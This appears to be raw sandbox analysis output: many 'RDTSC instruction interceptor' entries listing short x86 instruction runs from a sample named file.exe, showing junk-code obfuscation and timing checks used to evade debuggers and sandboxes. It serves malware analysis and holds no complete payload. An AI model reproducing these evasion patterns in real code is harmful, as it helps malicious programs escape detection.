Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7615AE second address: 7615E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F9DB0FF9A49h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FEF6 second address: 75FF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76055C second address: 760585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F9DB0FF9A36h 0x00000011 ja 00007F9DB0FF9A36h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760585 second address: 76058F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7606E5 second address: 7606EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7606EF second address: 7606F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7606F5 second address: 7606FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612BC second address: 7612EF instructions: 0x00000000 rdtsc 0x00000002 js 00007F9DB10DC5B6h 0x00000008 jmp 00007F9DB10DC5C4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9DB10DC5C3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7641AE second address: 7641B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7641B8 second address: 7641C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E661 second address: 76E665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E665 second address: 76E671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9DB10DC5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780290 second address: 780294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780294 second address: 7802C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9DB10DC5C2h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7802C7 second address: 7802EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A49h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F9DB0FF9A36h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7802EC second address: 7802F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78011F second address: 780129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783059 second address: 783061 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783061 second address: 78307A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A41h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BFF5 second address: 79C022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9DB10DC5BFh 0x0000000c jmp 00007F9DB10DC5C7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C022 second address: 79C028 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AF52 second address: 79AF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0AF second address: 79B0B9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9DB0FF9A36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B1F2 second address: 79B1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B1F8 second address: 79B22A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9DB0FF9A49h 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B755 second address: 79B75A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B75A second address: 79B767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F9DB0FF9A42h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B767 second address: 79B76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B76D second address: 79B777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B777 second address: 79B784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F9DB10DC5B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B8E0 second address: 79B8FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jp 00007F9DB0FF9A36h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9DB0FF9A3Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B8FE second address: 79B902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B902 second address: 79B906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BA7B second address: 79BAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9DB10DC5C3h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F9DB10DC5C3h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0342 second address: 7A0353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3B89 second address: 7A3B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3B8F second address: 7A3B97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470411 second address: 5470417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470417 second address: 547041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547041B second address: 547041F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A03FE second address: 54A0404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0404 second address: 54A040A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A040A second address: 54A040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A040E second address: 54A0474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d mov ax, E72Dh 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F9DB10DC5BAh 0x00000018 xor cl, FFFFFFC8h 0x0000001b jmp 00007F9DB10DC5BBh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F9DB10DC5C9h 0x00000028 xchg eax, ebp 0x00000029 jmp 00007F9DB10DC5BEh 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F9DB10DC5BAh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0474 second address: 54A0483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0483 second address: 54A0506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 802Ah 0x00000007 pushfd 0x00000008 jmp 00007F9DB10DC5BBh 0x0000000d and si, 2CCEh 0x00000012 jmp 00007F9DB10DC5C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F9DB10DC5BCh 0x00000023 xor si, C548h 0x00000028 jmp 00007F9DB10DC5BBh 0x0000002d popfd 0x0000002e mov ah, 24h 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F9DB10DC5C2h 0x00000037 xchg eax, ecx 0x00000038 jmp 00007F9DB10DC5C0h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0506 second address: 54A050A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A050A second address: 54A0527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0527 second address: 54A0560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c mov bx, si 0x0000000f pop esi 0x00000010 mov di, A90Ah 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F9DB0FF9A43h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0560 second address: 54A0564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0564 second address: 54A056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A056A second address: 54A058B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A058B second address: 54A058F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A058F second address: 54A0593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0593 second address: 54A0599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0599 second address: 54A05F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b jmp 00007F9DB10DC5BEh 0x00000010 movzx ecx, di 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov eax, 4EF264C9h 0x0000001b mov bx, ax 0x0000001e popad 0x0000001f nop 0x00000020 jmp 00007F9DB10DC5C0h 0x00000025 push dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9DB10DC5BAh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A05F2 second address: 54A05F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A05F6 second address: 54A05FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A067A second address: 54A067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A067E second address: 54A0684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0684 second address: 54A06A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB0FF9A48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A06A0 second address: 54A06E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d jmp 00007F9DB10DC5C6h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9DB10DC5C7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A06E3 second address: 549001D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b pushad 0x0000000c call 00007F9DB0FF9A3Ah 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007F9DB0FF9A3Bh 0x00000018 sub esi, 7DA2802Eh 0x0000001e jmp 00007F9DB0FF9A49h 0x00000023 popfd 0x00000024 popad 0x00000025 mov dx, ax 0x00000028 popad 0x00000029 retn 0004h 0x0000002c nop 0x0000002d cmp eax, 00000000h 0x00000030 setne al 0x00000033 xor ebx, ebx 0x00000035 test al, 01h 0x00000037 jne 00007F9DB0FF9A37h 0x00000039 xor eax, eax 0x0000003b sub esp, 08h 0x0000003e mov dword ptr [esp], 00000000h 0x00000045 mov dword ptr [esp+04h], 00000000h 0x0000004d call 00007F9DB5FC2E73h 0x00000052 mov edi, edi 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F9DB0FF9A49h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549001D second address: 549002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549002D second address: 5490056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9DB0FF9A45h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490056 second address: 54900BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9DB10DC5C1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F9DB10DC5BEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F9DB10DC5BDh 0x00000020 adc ax, A106h 0x00000025 jmp 00007F9DB10DC5C1h 0x0000002a popfd 0x0000002b mov eax, 7ADAFCB7h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54900BC second address: 54900C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54900C2 second address: 54900C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54900C6 second address: 5490130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a jmp 00007F9DB0FF9A3Bh 0x0000000f push 3B6866B1h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F9DB0FF9A40h 0x0000001d and cx, CA08h 0x00000022 jmp 00007F9DB0FF9A3Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F9DB0FF9A48h 0x0000002e add si, EC68h 0x00000033 jmp 00007F9DB0FF9A3Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490130 second address: 5490135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490135 second address: 549019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A45h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 4EAEF8F9h 0x00000013 pushad 0x00000014 movzx esi, di 0x00000017 pushfd 0x00000018 jmp 00007F9DB0FF9A49h 0x0000001d and eax, 0BF7DFE6h 0x00000023 jmp 00007F9DB0FF9A41h 0x00000028 popfd 0x00000029 popad 0x0000002a call 00007F9DB0FF9A39h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549019D second address: 54901A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901A3 second address: 54901A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901A8 second address: 54901DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9DB10DC5C2h 0x00000008 mov ah, 44h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F9DB10DC5BCh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dh, cl 0x0000001c mov esi, edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901DB second address: 54901E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901E1 second address: 54901E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54901E5 second address: 549020A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b mov bl, E8h 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F9DB0FF9A3Fh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549020A second address: 549022D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549022D second address: 5490234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 6Bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490234 second address: 549023A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549023A second address: 549023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549023E second address: 549029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e jmp 00007F9DB10DC5C9h 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, dx 0x0000001a pushfd 0x0000001b jmp 00007F9DB10DC5BFh 0x00000020 or si, FAAEh 0x00000025 jmp 00007F9DB10DC5C9h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549029C second address: 54902F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9DB0FF9A47h 0x00000011 sbb ecx, 2728056Eh 0x00000017 jmp 00007F9DB0FF9A49h 0x0000001c popfd 0x0000001d mov ch, DEh 0x0000001f popad 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54902F5 second address: 54902FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54902FB second address: 549031F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549031F second address: 5490323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490323 second address: 5490329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
